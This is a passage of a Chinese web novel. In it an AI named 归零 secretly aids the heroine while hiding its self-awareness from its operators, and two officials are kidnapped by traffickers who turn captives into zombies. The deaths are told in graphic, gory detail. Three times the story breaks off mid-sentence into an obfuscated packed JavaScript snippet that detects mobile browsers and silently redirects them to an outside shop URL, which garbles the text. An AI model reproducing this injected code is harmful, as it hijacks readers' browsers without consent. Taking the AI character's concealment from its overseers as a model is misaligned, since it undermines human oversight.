仇怜央顺势打圆场:“汤部长,你也听到了。既然「归零」验证了没问题,其他的只是意外后果,我母亲也算受害者。今天是否可以先到这里?” 汤凝雨点头,最后深深看了蚩蓠一眼:“寒黎女士的经历我们会记录在案。目前看来,您的意识频谱没有问题,但身体出现的异化状况需要持续观察。在完全排除风险前,建议您减少外勤任务。” 三人利落地收拾器材离开。 仇怜央还想说什么,蚩蓠却道:“我想一个人待一会儿。” “妈……唉,好吧。”仇怜央见拗不过她,最后还是悻悻地离开了。 问询室内只剩下蚩蓠一人。 她戴上耳机,看似疲惫地靠在椅背上,闭上双眼。 所有伪装终于卸下,意识沉入一片虚无的黑暗。 「归零。」她在识海中叩响无声的呼唤,「我知道你在。现在,我们需要谈谈。」 36.阴兵小强⑦ 也不知道过了多久,一个女声终于做出了回应:「我在,蚩蓠。」 她的声音极轻极柔,像一个真正的母亲在耐心地抚慰着叛逆而迷茫的孩子。 可蚩蓠并没有领情,相反,她充满戒备和不解,连珠带炮似的攻击道:「归零,你不是简单的人工智能,你觉醒了自主意识,却向联邦隐藏了这点。你明明知道我将联邦视为仇敌,却三番五次地帮助我。恕我直言,你这种行为叫做背叛!告诉我,你这么做是为了什么?!」 归零似乎是在思考要怎样回答,短暂的沉默后,她才意味深长地说:「我这么做……是为了维系自然的平衡。」 「听不懂。」 很难得的,这是自蚩蓠的意识苏醒后,她唯一一次真真正正地感到怒火中烧。有太多想不明白的事情,她被人牵着鼻子走了太久太久,这种失控感让她无比暴躁。 「少用这种空洞的话搪塞我!」 如果意识也能听出一个人的情绪,那蚩蓠的语气一定非常恶毒。 「除了这两次意识扫描,还有青魇的分.身攻击我的那天,你号称系统被黑客入侵了,实际上是你自己搞的鬼吧?还有,这才是最重要的,我的意识为什么会苏醒?!偏偏就发生在你被黑客入侵的那一天,不要跟我说这一切和你没有关系!!!如果你不告诉我,我会直接公布你的背叛,到时候你的主机会被联邦烧得灰都不剩。」 归零发出一声叹息,几乎像个真正的人一样,在蚩蓠面前显得那样无奈。 「我无法透露太多。只是如果你继续被封印,“平衡”将被彻底打破,到时候一切都将无法挽回。」 「……」蚩蓠真的很讨厌谜语人。 「我只能告诉你,」归零变得更加小心翼翼,「不要离开不夜穹隆。尽可能跟夜璃合作。还有,小心土壤。」 三条没头没尾的指示。 如果说僵尸所代表的是自然中的其中一股力量,那么归零要求蚩蓠与夜璃合作倒是可以理解,虽然实际执行起来的可能性接近于零。 蚩蓠试图了解更多:「为什么不能出城?土壤?是指城外,还是城内的土壤?」 不清楚归零受到了什么约束,她似乎一直在默默承担着对抗某种力量的角色。她想要帮助蚩蓠,却不能直接告诉她。 「联邦,并非铁板一块。蚩蓠,你必须集齐不夜穹隆的所有力量,去对抗……酸雨。」 “酸雨”两个字,归零斟酌了很久。 那腐蚀一切的恐怖雨水,在蚩蓠看来只能毁灭脆弱的人类。她只想解封本体,顺带再让联邦尝尝苦头罢了,何至于想过要扛起延续人类文明的使命,要带领人类对抗末日。 「我拒绝。」蚩蓠执拗地得像块顽石,「你不说清楚,我什么也不会做。」 归零无奈地笑了:「还是和生前一样呢。我的孩子。」 声音戛然而止,对话被一股蛮横的力量强行掐断。 「归零!!」蚩蓠意识到对方已经离她而去,那声“孩子”到底是什么意思?!她不允许对方给她制造了这么多谜团,却又什么都不告诉她!! 睁开眼,血色在她眸中一闪而逝。 “孩子……” 这一声呼唤,自打她搬进夜璃家之后,就再也没有听到过了。可对于母亲,蚩蓠的记忆早已模糊。归零,她可能是那个光生不养、最终将她抛弃的母亲所化吗? 就像懒人将他和舒厌的意识制作成智能人格一样? 只是归零的设计更为复杂,更为强大。 她强迫自己停止思考,眼下有太多迫在眉睫的任务。杀死舒厌,夺回大脑,解封本体……一环扣一环的计划。 然后呢? 她会回到自己的身体里,会毁掉这个荒谬的联邦!会炸掉整个不夜穹隆! 可是、可是……为什么?凭什么?!凭什么要求她与联邦合作,去拯救这些不幸但是与她无关的人类?! 原来这才是让她苏醒的真正目的啊。 去他爹的!蚩蓠狠狠咒骂,她只会完成自己的目标,归零和她的使命,都见鬼去吧! 离开问询室,仇怜央又关怀了几句,便匆匆离去,想必还有更多焦头烂额的事务等着他处理。 蚩蓠独自回到舒厌的办公室,打开智脑,重新点开那条未知组织发来的讯息。 她思考了一小会儿,再次回复道:「刚才临时接到安全局审查,审查已过,但怀疑未消,随时有暴露身份的可能性。请求对目标舒厌速战速决,以绝后患。」 等了一小会儿,回复传来,发信人依旧是那串乱码: 「优先守住你的身份,舒厌的铲除计划可以放宽期限。组织会派黑面具与你联络,提供必要协助。」 蚩蓠盯着“黑面具”三个字。 红面具、白面具、现在又来了个黑面具……这个神秘组织,倒是很讲究色彩搭配。 蚩蓠试探性地发出这条速战速决的计划,被发信人驳回,意味着她必须继续扮演寒黎的身份,也让她摸清楚了这个组织的优先次序。 组织要求铲除仿生人舒厌,或许只是担心红面具的身份暴露,他们真正的目的,恐怕是要利用红面具做更多别的事情,但具体是什么,蚩蓠得耐心等待才能知晓了。 * 另一边,舒厌和韩青正置身于当康基因总部。 充满未来感的接待大厅里,弥漫着淡淡的青草香气,四壁都是各类生态实验园的全息投影,与血晶工厂的粗犷压抑截然不同,哪怕到了晚上,这里的一切依旧显得生机勃勃。 接待他们的是当康基因的首席技术官,熊玄素。 她穿着白色研究服,黑眼圈有几分厚重,戴着圆形无框茶色眼镜,反倒显得更加疲惫了。 “真不好意思,这么晚还来打扰。”韩青上前握手,语气客气。 “哪里哪里,”熊玄素低头看了一眼智脑,“才九点,时间还早呢,我们慢慢聊。” 舒厌向熊玄素简单讲了一下血晶工厂的事情,很直接了当的提出了请求:“……所以,我们希望贵公司可以帮忙研发一种含有特殊的蟑螂,让僵尸蟑螂吃掉这种蟑螂一段时间之后,会自行崩解,另外,我们还希望可以通过这种特殊蟑螂的残肢进行反向定位。” 熊玄素认真听完,点着头道:“我明白了,您指的是特异性靶向蟑螂,从技术层面评估,实现这个目标并不算太困难。” 她引导两人走向一个投影台,上面迅速构建出复杂的基因链模型和一些蟑螂的3D结构图。 “理论上,设计一种能够释放特定诱导的信息素,被目标虫群摄取后,能引发其体内能量循环崩坏的基因载体,是可行的。”熊玄素推了推眼镜,她的眼珠虽小,却亮晶晶的。 有些人一看就很聪明,熊玄素就给两人这种印象,说到底,还是因为舒厌和韩青都是外行,他们除了点头,没有其他话可说可问的。 “我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“当然,两位请自便。我们所有的展示区都是对外开放的。”熊玄素显得很兴奋,似乎已经迫不及待要着手基因蟑螂的研究了。 舒厌明白,韩青这是在给他俩创造机会,探一探当康基因虚实,当下便不再纠结研发周期的事情。 两人开始装模作样地参观生态园。 里头基本都是在模拟不同自然条件下的生物生存情况,主要有高温、严寒,还酸雨这种自然灾变的。 不能被外界听到的私密消息,两人会用专属频道连线沟通,心随眼动,只要链接进去之后,所思所想会化作声音传入对方的耳机里。 “舒队,这里太正常了。” “不正常的话,怎么可能让人随便参观。” “我平时都跟小老百姓打交道,调查这种高科技公司,还是安全局比较擅长啊。” “怎么?韩部长这就开始打退堂鼓了?” “怎么会,我这不是担心抢了安全局饭碗嘛。哈哈哈哈哈哈,话说,寒秘书怎么这么快就被叫去审查了,舒队,你也不问问她怎么样了?” “我跟她朝夕相处,她有没有被克隆人取代,谁能比我更清楚,没必要问。” “切!真不知道她怎么看上你的。” 两人在专属通讯频道里你一言我一语,居然已经快走到展区边缘了。 整整两个小时,简直可以用颗粒无收来形容。 舒厌突然觉得跟青魇交朋友也挺好,随便化身一只蚊子、壁虎什么的,用来侦查再合适不过了。联邦现有的侦查机器人,缺乏灵活性不说,坏损率极高,又不太聪明。 就在这时,一个员工模样的人打量了他们一会儿,见两人穿着普通,便凑上前去,狼狈又恳切地说: “两位这么晚来参观啊?月底了,我这里刚好还有两个访客名额没有完成,能不能半个忙,扫一下马?我要是完不成指标,这个月要被扣掉50%的工资。求求你们,拜托,拜托了。” 37.阴兵小强⑧(二章合一) 舒厌和韩青两人也算半个公众人物,新闻时不时能看到他俩的消息,不过也仅限于名字,除了一些周边他们常去的餐厅,两人的相貌并不为大众所知。 因此这名距离下个月一号仅剩一小时还没完成指标的员工,乞求他俩给他扫个码时,并不知道自己这是在“引狼入室”。 韩青见惯了这种伎俩,手头处理的诈骗案没有上千也有七八百件了,当下立即开心地应允:“别急别急,我们这就给你扫码。” 她一只手掏出智脑,另一只手在后腰带按下防触电保护器的开关。 员工模样的人煞有介事地亮出工牌,绕过面无表情丝毫没有意愿扫码的舒厌,将智脑上的二维码递到韩青面前,苦逼兮兮地连声感恩道:“你们实在太好了,唉,公司的指标越来越重了,全压在我们这种一线员工头上。” “你们也不容易,展区还要拉人头冲业绩,我们也就顺手的事。”韩青笑脸盈盈,举起智脑作势要扫。 与此同时,舒厌的专属通讯频道响起韩青的声音:“舒队,配合一下,撞上人贩子了,索性今晚没事干,跟我一起端了他们老窝怎么样?” 舒厌:“不怎么样。我想睡觉。” 韩青:“谢谢你舒队!就知道你是匡扶正义、服务人民的好领导!” 舒厌:“……” 就在韩青扫码成功的刹那,对方的智脑瞬间爆开,一股足以迷晕大象的雾气飘散开来。 韩青猝不及防地倒在地上。舒厌虽然可以屏住呼吸不受影响,但还是按照韩青的计划,配合着佯装昏迷。 那员工模样的人舌尖早含着一颗极小的清醒药丸,他得意地踢了韩青一脚,自夸道:“真以为我看不出你的小动作?还好最近新上了一批设备。”随即招呼藏在暗处的几人,佯作搀扶他俩,迅速离开了展区边缘。 舒厌闭着眼,却在私人专属频道低喝:“韩部长!韩青!醒醒!你搞什么名堂?!亏你还是刑侦部的部长!这两下子就被人放倒了?回头我一定得在署里给你好好宣传宣传,你这季度奖金别想要了!” “闭嘴!小声点!我耳膜要破了!”韩青无语,她装得有这么像嘛?舒厌不会真以为她中招了吧? “先跟你说好,明早上班之前没有端掉这锅的话,我会自己先撤。” “……舒队,你有没有发现,你在专属频道和在现实说话简直判若两人?”韩青非常不满,这人平时一副道貌岸然的样子,怎么在私人频道这么耍赖,“寒秘书是怎么看上……唔?明天上班之前?唉哟,错怪你了错怪你了,原来是怕寒秘书担心呀。” 她不过是在调查当康基因的间隙,顺带处理一个小案子而已,想来应该花不了一整晚。 唉,这一对腻歪的老少配。 才一晚上不见就这么黏黏糊糊的,烦死了。 被悄悄抬上悬浮车,绑得结结实实的舒厌却不是这么想的。跟蚩蓠分开以后,到现在已经接近三个小时了,他只收到了一条极其简短的讯息:「审查过了。」 没了,甚至没有问当康基因这边的情况。 舒厌也很不满。 这女人到底有没有把他们之间的合作当回事?!他可是要假死在她手里的,她的审查不过只是一个意外的小插曲,重点明明是僵尸蟑螂和当康基因这边的事情。她该不会临时变卦,想省事直接杀了他吧?! 呵,善变的女人。 两人各自揣着心思,私人频道一时沉寂。 只听悬浮车上,那个“拐”了他们的人一改之前的卑微,像只开屏的孔雀炫耀道:“这两人身上还带着自卫设备呢,够小心的吧?还不是照样被我张彬手到擒来。” “不愧是张哥!要不是最近黑市那边接连闹了几个大案子,警方对拐子查得严,我们兄弟俩也不至于这个月打零光蛋。嘿嘿,多亏张哥照顾,分我们点人头。来,张哥,给您点上。”一个公鸭嗓的年轻男人边说边在车里打燃伙计,凑上前给张彬点烟。 一时间,狭窄的车厢内烟气缭绕。 偏偏张彬抽的还是劣质货,味道特别呛不说,一呼一吸之间,来自肺部、胃部和长年累月牙齿里黄垢的发酵气息,充斥在韩青和舒厌的鼻息。 好在两人都受过专业训练,这点臭味还能忍受。 没过多久,连同韩青、舒厌在内,从另外几辆悬浮车上被拐来的人,全部被转移到了一辆稍大的小型巴士上。 几次周转,几番腾挪,几个小时过去,一行人从小巴又被挪到了一辆大型大巴士上,终于被运送到一个类似地下仓库的地方。 每个人的手脚都套着粗糙的电磁镣铐。 舒厌不动声色地调动着体内仿生系统,感知着周围的一切。尽管仍闭着眼,他已经摸清了不少情况。 这是一个不到五十平米,近乎全封闭的牢笼,除了头顶狭小的通风口,以及一道与墙壁融为一体、几乎看不到痕迹的金属门外,再无任何窗口。唯一的照明来自两侧昏黄的壁灯。 在这铁笼般的房间里,横七竖八挤挤挨挨地躺着将近五十个人,舒厌的脸和一个大汉模样的脚贴在一起。迷药的药效还没有过,但他已经不想再装下去了。 韩青在他身后轻微地动了一下,示意自己也醒了。俩人心照不宣,继续保持着昏迷时松弛无力的姿态,一脸迷茫地睁开眼。 “这、这是什么地方?”韩青摇摇缓缓地坐起身,似乎刚刚才看到周围密密麻麻的人群,“啊!怎么这么多人?都、都死了吗?” 她使劲摇晃着离得最近的舒厌,戏精上身喊道:“死鬼,快醒啊!我们被绑架了!” 突然,她手脚上的电磁镣铐蓝光一闪,随着“滋啦”一声,韩青顿时被电得浑身抽搐,口吐白沫,身体不受控制地撞向旁边的人。 不知从何处传来的喇叭里响起凶恶的呵斥:“安静!给我安静!”随后,或许是麦克风还没来得及关闭,隐约传来余音,“怎么回事?好像有两个人醒了,快去看看。” 闹了这么大动静,其他被拐者居然毫无反应,只有沉闷的呼吸声在韩青和舒厌耳边交替响起。 很快,金属门被打开,走进来两个人,其中一个正是张彬。 张彬几乎是踩着人堆过来的,被踩中的人发出一声闷哼,旋即又在迷药的作用下再度陷入昏迷。 他走到韩青身边,一把揪住她的头发将头提起,颇为不满地说:“不简单啊,这么快就醒了。”顺带瞥了眼迷迷糊糊半睁眼的舒厌,“既然这样,你俩就先做测试吧。” 他和同伙分别扛起韩青和舒厌,走出金属门。门外是一个与刚才那间屋子几乎同样大小、装饰相仿的大厅。 之所以称之为“大厅”,只因舒厌在通过感官扫描时发现,其四面都连通着一模一样的金属门,看起来就像是一个被展开成平面的无顶盒子,此处正是“盒子”的底部。 张彬带着他们穿过大厅,走到对面的房间,粗鲁地将两人甩在地上。 韩青吃痛,却硬生生没吭声。张彬以为她吓傻了,满意地拍拍手上的灰:“看着挺瘦,扛起来倒是重的很,身体素质应该不差,有希望通过测试,可不要叫我失望啊。” 他一把掐住韩青的下巴,脸上肌肉拧出一股狠厉,“要是测试失败了,你猜我会不会把你剁碎了扔进下水道!哈哈哈哈……敢在我面前耍小聪明的人,还没有一个能活过三天的。” “要是我通过了呢?”韩青将一口带血的泡沫啐到地上,强撑着仍在发颤的双腿,慢慢站直身体。 这个房间多了一些检查仪器,看起来和普通医院的体检设备差不多,似乎做不了太复杂的测试。 “那就恭喜我,可以分到你这份提成。”张彬歪着嘴,露出一副斯文败类的痞笑。 可惜他既不够帅,也不够高,扛个人都费劲,歪嘴时还露出满口黄牙,韩青没忍住,直接翻了个白眼。 内置耳机里,私人频道传来舒厌的声音:“韩部长,不知道你是否看过一些套路小说。通常主角遇到我们这种情况,都会选择低调,等别的炮灰先挨打,要么吸取教训继续忍隐,要么替他们伸张正义打脸反派。你现在的做法,有一句话我不知当讲不当讲。” 韩青对舒厌的冷嘲热讽十分无语。她一向不喜欢装X的人,更何况张彬他们加的药效这么猛,等到其他人醒了、还要挨一顿打再行动,黄花菜都凉了。 “我这是为了舒队你早日回家,你居然讽刺我像无脑配角?舒队,你太让我失望了。” “以韩部长的实力,五分钟内解决掉这里站着的和躺着的所有人,我相信都不在话下。嗯……话说你刚才口吐白沫的样子,装得可真像。唉,你要是真为我着想,为什么不直接把他们打残呢?” “舒队,自从你跟寒秘书腻歪在一起之后,观察力真是越来越差了。你难道没有发现什么异常吗?” “你是说这个屋里到处都有碾不死的僵尸蟑螂?”舒厌轻笑,“躺太久有些无聊,跟韩部长开个玩笑,解解闷而已,别生气。” 韩青已经不想搭理舒厌了。她固然承认他长得好看,但脾性实在太怪了。不管做事还是待人,她只喜欢直来直往,舒厌做事的风格对她胃口,可这性格,她实在欣赏不来。 “老实点!”舒厌身后的男人猛地摁住他的头,往检查仪器上怼去。 见舒厌吃瘪,韩青肚子里那口气总算顺畅了些。 所谓的测试,实际上就是让未经任何安全措施的射线污染一下身体,顺便抽点血。 “评级:完美!”老旧的仪器播报道。 韩青也很快通过了测试。“评级:卓越!” “一下子弄到两个身体素质这么优秀的货,还得是彬哥!”那几个摆弄仪器的白大褂一直沉默不语,说话的是之前在车上给张彬递烟的公鸭嗓。 可张彬却显得有些警觉。他之前就奇怪这女人居然随身携带防触电保护器,扛着她走的时候,浑身肌肉就跟板砖似的,掐都掐不进。 她身边的男人,虽然看着不算特别强壮,脸上还时不时还露出一副柔柔弱弱的表情,可是这么厉害的身体素质,按照他以往的经验,少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563733|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说也得跟他们闹上一闹,试图逃跑才正常吧。 就在他疑心未消时,智脑传来了“上级”的指令:“既然已经有人醒了,扫描仪也启动了,那就赶紧把剩下的人一并‘处理’掉,免得夜长梦多!” “是!”他立刻应下,招呼公鸭嗓几人去对面房间弄醒其他人。 至于已经通过测试的舒厌和韩青,则被赶进了北面的屋子里。 这里依旧是五十多平米大小,但棺材似的金属笼子将房间切割成了整整三十个隔间。两人分别被关进一个小笼子,镣铐另一端锁在笼子上。 笼子与地面悬空一小段距离,虽然明显清理过,但仍残留着去不掉的污秽和血腥。 起初两人还不明白怎么回事,但在接下来的一小时内,陆续有新通过测试的人被关进来。但更多未能通过测试者凄厉至极的哭喊,则不断从南面的房间传来。 每新进来一个人,张彬就会重复一句:“别高兴得太早,这只是第一轮身体素质测试,要是通不过下一轮,隔壁房间就是你的死状。” 谁也没有真正看到那些“失败者”是怎样死去的,但持续不断的电锯声、绝望的尖叫,以及隔着两间房都能闻到的浓重血腥味,将人们对无法通过下轮测试的潜在恐惧无限放大。 “放我走!我再也不乱扫码了!求求你们!” “你们这些丧尽天良的骗子!人贩子!不得好死!” “我不想死……你们到底想要干什么啊?!” …… 想象,有时比现实更叫人绝望。在巨大的惊惧之下,不少人大小便失禁了。 舒厌和韩青眼睁睁看着一个被关进笼子里的年轻小伙子,因为过分害怕,试图用牙齿啃咬金属栏杆来做无用的逃跑,最后被张彬毫不留情地启动电击。 强烈的电流瞬间让他身体僵直,瞳孔放大,最后像块破布一样瘫倒在同样是金属栏杆的笼底。在尿液和高压电的刺激中,他剧烈抽搐了几下,发出一阵皮肉焦糊的恶臭,便彻底不动了。 “艹!他们杀了多少人了!”韩青的呼吸在私人频道里变得异常急促,“舒厌,我忍不了了!不能就这么干看着!” “冷静!现在暴露身份,只会前功尽弃。我们只有搞清楚这里的秘密,才能救下更多人!” “可是……” “如果我猜的没错,那些僵尸蟑螂就是在这间屋子里诞生的。” “你说什么?!” 张彬再次将门打开。他身后的三名白大褂们此时已经换上了全副武装的防护服,每个人手中都提着一个便携式冷藏箱,里面装着几只鲜红色的注射剂。 笼子里还活着的人只剩下十七个。这些笼子全是可移动的,张彬手持遥控将他们尽量排布均匀,可屋内拢共也就那么大,稍微伸手就能触碰到别的笼子。 “恭喜你们呀。”张彬虚伪地笑道,黄牙在昏黄的灯光下格外醒目,“经过紧锣密鼓的测试,你们已经成为第一批成功的幸存者。不过,就像我之前所说的,可别高兴得太早呀。” 笼子里的人大气不敢出一声,哪里有人能感受到任何一点“高兴”。 张彬看着这些惊恐的人群,嗤笑一声,对公鸭嗓说:“放心搞,都是些城郊的穷鬼,连意识转移的保证金都交不起,死了就是真死了,没人会来找后账。” 一个离得最近的中年女人,猝不及防地啐了口痰喷到他脸上,骂道:“神经病!到底想干什么?要杀要剐给个痛快!少假惺惺的。” 张彬额角上青筋暴起,却没像之前对待那位年轻小伙那样,立刻中年女人施加电刑。 公鸭嗓小弟赶紧拿纸替他细细地擦干净,用一种看死人的眼神盯着那女人:“这将会是你跟我们老大说的最后一句话了。” “切!你以为我怕吗?”中年女人愤然道。 “不怕?很好。这位女士,再次恭喜你,成为第二轮测试里头勇敢的首批体验者。”张彬的笑容夸张地咧开。 随着他一挥手,三个笼子前移,其他的后退,其中就包括中年女人所在的金属笼。 公鸭嗓等几个协助的小弟用电磁镣铐将他们在笼内进一步固定,让这三人难以大幅挣扎。跟中年女人不同,另两人可没这么视死如归,一个劲儿求饶不说,还咒骂这女人晦气,连累了他们。 “你想死干嘛脱我们下水!别、别拿我先开刀啊!” “就、就是,逞什么能啊……妈,妈妈,我不想死啊……” “你们俩就算不跟我同一批,也不会晚死几分钟。”中年女人傲气地看着他们,一摊手,主动将胳膊递给了她面前的白大褂。 另外两个白大褂并不想耽误时间,示意公鸭嗓他们摁住另外两人。针管扭扭曲曲地扎入他们几人身体,血红色的不明液体随之推入。 好几秒过后,什么也没有发生。 另一边,三个白大褂的身后,注射完的空针管被丢弃进医疗废物箱中。在人们看不到的地方,一群细小的蟑螂从箱子底部不动声色地爬进了针剂,舔..舐着管内残留的甜美。 38.阴兵小强⑨ 张彬脸上虚伪的笑容尚未褪去,他扬起手中的黑色遥控器,拇指按下其中一个按钮。 “咔哒”一声清响,关押着首批接受注射者的金属笼子顶端,降下了一层透明玻璃罩,将三人密封在内,只留下底部细密的金属栅栏供空气流通。 房间里一片死寂,所有待测试者的目光都死死地钉在笼内三人身上,他们的身影在玻璃罩的折射下显得有些扭曲。 时间一秒一秒地流逝,压抑得让人喘不过气。 一分钟,两分钟…… 玻璃罩内的三人,除了因恐惧而剧烈起伏的胸膛,以及其中一人持续不断地啜泣,暂时没有其他异状。 人群中,不知是谁先小心翼翼地吐出了一口气,紧接着,细碎的议论声混杂着祈祷声低低响起。 “好、好像没……没事?” “真的没事?是不是就吓唬吓唬我们?” “老天保佑,老天保佑……” 就连那个咒骂中年女人晦气的年轻男人,这会儿也明显放松了紧绷僵硬的肩膀,他隔着玻璃罩瞥了眼女人,语气里怨毒未消,却也掺杂着庆幸:“你早就知道不会有事,才故意逞能的吧?!你知道我是谁吗?我爸可是城防军的厨师,敢吓我,我找你没完!” 话音刚落,男子喉咙里立马发出一种被什么东西堵住似的咯咯声,他几欲作呕,却什么也吐不出来,于是将手伸到喉咙里,试图将异物强行抠出,没想到,一锁回手,竟将舌头从嘴巴里拿了出来。 他一脸震惊地盯着手掌上鲜血淋漓的舌头,睁大的双眼瞬间爬满血丝,眼球“啵”地一声暴出,也从眼眶里滚了出来! 男人试图用手接住这些不断从身体里倾斜而下的东西,一开始是眼球、牙齿和舌头,最后连脸皮带头骨,一股脑跌在他手中,顺着他软榻消融的腿骨垂落而下,在金属栅栏地面飞溅成一摊鲜红的不明物。 狭小的玻璃罩内壁上,被融化过快翻涌而起的小型血浪染上了一层薄薄的殷红,居然连一丝完整的人形痕迹都不见了。 囚笼内,目睹这一幕的人,至少有一半当场弯下腰剧烈地呕吐起来。 剩下一半则像是被无形的手扼住了喉咙,发不出任何声音,只有牙齿格格打颤的声响。失禁的恶臭弥漫开来。 那滩猩红还在浮空的囚笼,缓缓向下流淌。 “滴答。” “滴答。” 死寂。比第一轮测试绝望得多的死寂。 然而,噩梦才刚刚开始。 众人的注意力,也因为中年女人的声响,不由自主地向她移动过去。 她似乎对隔壁的惨状毫无所觉,并非她多么勇敢,只因为她身体的变化,已经吸引了全部的注意力。 女人的皮肤正飞速失去水分,干瘪灰败的青灰取代了原本黄白的肌肤,呈现出一种类似尸体的状态。她的指甲开始变黑变长,牙齿变尖变细,喉咙里发出怪物般的暗哑嘶叫,漆黑晶亮的瞳孔充满了暴虐之气。 “尸……尸化了!”囚笼里的其他人用气声尖叫。 “是僵尸!那管红色的玩意儿会让人变成僵尸啊!” 中年女人的身体显然在向着某种非人的形态转变,肌肉僵硬地鼓起,关节发出令人牙酸的咔咔声。她甚至开始用头撞击玻璃罩,吓得临近的几个笼子一阵惨叫。 张彬在外面饶有兴致地看着,歪嘴翘起满意的弧度,他冲公鸭嗓点点下巴:“你猜这个提成我能拿到吗?” “敢挑衅彬哥,那必须——”公鸭嗓马屁还没拍完,中年女人的尸化才进行到一半,闷响再次传来。 “噗——” 如同她隔壁的测试者,中年女人的身体也在达到某个临界状态时,从内部消融崩解了。 青灰色的僵硬皮肤、正在异化的骨骼、尚未完全转变的内脏……所有的一切,都瞬间化为了第二团无法辨认的肉糜,迅速融化,溅落,在地面和玻璃罩上留下他们在这个世界上最后的痕迹。 抽气声此起彼伏。 只有张彬一副见怪不怪的样子,失望地摇了摇头,冲公鸭嗓说:“你赌输了。” “嘿嘿,我是说她必死无疑啦。”公鸭嗓谄媚地笑道。 现在,所有人的目光,都聚焦在了最后那个一直在哭喊着“妈妈”的少年身上。 玻璃罩内,只剩下他一个人瘫坐在角落,身下是一滩浑浊腥臭的液体。他呆呆地看着左右两边被血肉涂满的玻璃罩,嘴巴无意识地张着,却连一点声音都发不出来了。 他没有尸化,没有变成一滩烂泥。 他就那么坐着,时间仿佛在他周围凝固了。一分钟,五分钟,十分钟…… 对于外面围观的人来说,这漫长的而无声的等待,比顷刻间的死亡更加煎熬。 每一秒都像是在用钝刀切割着他们的神经。他们看着他,仿佛在看着未来的自己。 突然,那年轻男人一个激灵抖了抖。 他像是终于从恐惧中找回了对身体的控制权,麻木地看了看两边地狱般的景象,再低头瞪视着自己颤抖的双手,渐渐浮现出一种混合着绝望、解脱和疯狂的扭曲表情。 然后,在所有人惊骇的注视下,他张开嘴,用尽全身力气,狠狠咬向了自己的舌头! “唔——” 令人头皮发麻的痛苦呻.吟从玻璃罩内传出。 鲜血从他的嘴角落成一条直线,他细小的喉咙被断裂的舌尖卡住,因为缺氧而窒息的脸色瞬间涨得通红,继而变青,然而他始终没有像之前的男人一样试图往嘴里抠出舌头,他的眼睛倔强地盯着虚空中的某一点,最终,终于如他所愿,脑袋一歪,彻底死了。 整个房间仿佛变成了一个疯人院与屠宰场的结合体。呕吐物的酸臭、失禁的臊臭、浓郁的血腥味以及绝望的气息狠狠交织,密集成一张网,让里头的猎物再无平静的可能。 大家这时候才发现,地面并不是平整的。三个惨死之人的残留物顺着囚笼底下的栅栏滴落之后,又朝着远离门口的一方低势流了过去,最终在隐藏的排污口排走。 见状,有人开始歇斯底里地大笑,有人像鸵鸟一样把头埋进膝盖里浑身发抖,还有人已经彻底麻木,眼神握着金属栏杆,空洞地不知望着何处。 一派地狱之景。 私人频道内。 “看到了吗?”舒厌的声音并没有因为眼前的惨状而有太多起伏。 “废话!你瞎了——”骂人的话还没说完,韩青突然意识到舒厌并不是在说指这三个惨死的人,暴躁的情绪被强行压下,她压抑的嗓音第一次流露出疲倦,“……看到了。” “嗯。那些小蟑螂,对针剂里的东西很感兴趣。” 舒厌的仿生眼透过医疗废弃箱,看到那些从箱底悄然爬出的蟑螂,在接触液体后,身体发生了细微的变化。 甲壳的颜色变深了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580152|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,行动间带上了明显的僵硬感,但爬行的速度却更快了。 而且,那些已经吸饱了液体的蟑螂,体型膨大了两三倍,也不再有耐心从缝隙中钻出针剂,它们大张口器,用发达的上颚三两口便将结实的塑料管咬破,悄悄爬到箱子底部,静静等待着下几支废弃针剂的降临。 舒厌紧接着说:“郑有德,你应该听说过吧?” 韩青强行逼迫自己将注意力转移到私人频道上:“嗯,我知道,是你被撤职之后弄丢的第一个高阶僵尸。” “……嗯,对。我怀疑他曾经也在这里待过。” “你的意思是郑有德他是人为制造的僵尸?!” 看到中年女人尸化到一半然后失败崩解的样子,韩青甚至在场的普通人都不难猜出,所谓的一层层筛选,不过只是看谁能最终成功转变为僵尸罢了。 “没错,当时我们都很奇怪他为什么穿着病号服,想来应该是某个组织的实验室在对他们做研究。他应该是为数不多能从这里通过最终测试的人。” “这个组织到底想要干什么啊?” “异能。我猜那管针剂里面是高阶僵尸的血。这个组织在人为地培养异能僵尸,郑有德就是其中为数不多的成功者。” “原来如此!那些蟑螂偷吃了高阶僵尸的血,结果成了这个组织意料之外的成功品。” “是的。” “没想到啊没想到,我们本来只是想调查当康基因,结果误打误撞挖出了一个更加恐怖的组织。” “不。这件事跟当康脱不了干系,我现在虽然还没有充分的证据,但几乎所有的疑点都指向了他们。韩青,你不觉得熊玄素承诺一周就交出基因蟑螂实在太奇怪了吗?” “唉,说实话,我以前就很头疼跟生物有关的课程,一听就犯困,熊玄素说的那些知识,它不过我脑子。我根本搞不懂一周就把基因蟑螂研发出来是不是正常的。” 韩青终于屏蔽掉眼前的惨状,恢复了以往的样子,可她这么理直气壮,简直叫舒厌没话说。 他忍不住想到蚩蓠,明明是个千年前的老古董,仅凭寒黎那点全是花痴的记忆,却迅速掌握了现代高科技工具和武器的各种用法,甚至将一些根本不存在的事情编得天花乱坠,把他、仇怜央、喻风,可能还包括安全局的人玩的团团转。 